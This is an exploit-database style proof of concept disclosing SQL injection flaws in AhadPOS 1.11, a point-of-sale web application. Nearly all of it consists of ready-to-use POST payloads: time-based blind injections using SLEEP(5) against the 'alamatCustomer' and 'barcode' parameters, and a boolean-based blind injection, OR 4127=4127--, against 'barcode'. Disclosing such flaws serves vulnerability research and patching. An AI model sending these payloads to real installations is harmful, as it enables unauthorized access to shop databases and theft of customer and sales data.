rimbalinux AhadPOS 1.11 - 'alamatCustomer' SQL Injection

# Exploit Title: rimbalinux AhadPOS 1.11 - 'alamatCustomer' SQL Injection
# Date: 2019-11-01
# Exploit Author: Cakes
# Vendor Homepage: https://github.com/rimbalinux/AhadPOS
# Software Link: https://github.com/rimbalinux/AhadPOS.git
# Version: 1.11
# Tested on: CentOS 7
# CVE: N/A

# PoC for time-based and boolean based blind SQL injection

# Parameter: alamatCustomer (POST)
# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])    
    
Payload: namaCustomer=test&alamatCustomer=test'||(SELECT 0x4b686f74 FROM DUAL WHERE 8368=8368 AND (SELECT 9520 FROM (SELECT(SLEEP(5)))gtad))||'&telpCustomer=12312345&keterangan=tester

# Parameter: barcode (POST)
# Type: boolean-based blind
# Title: OR boolean-based blind - WHERE or HAVING clause
# Vector: OR [INFERENCE]    
    
Payload: barcode=-3529' OR 4127=4127-- HRDC&jumBarang=1&btnTambah=(t) Tambah
    
# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])    
    
Payload: barcode=123' AND (SELECT 1256 FROM (SELECT(SLEEP(5)))Nhnk)-- zXsC&jumBarang=1&btnTambah=(t) Tambah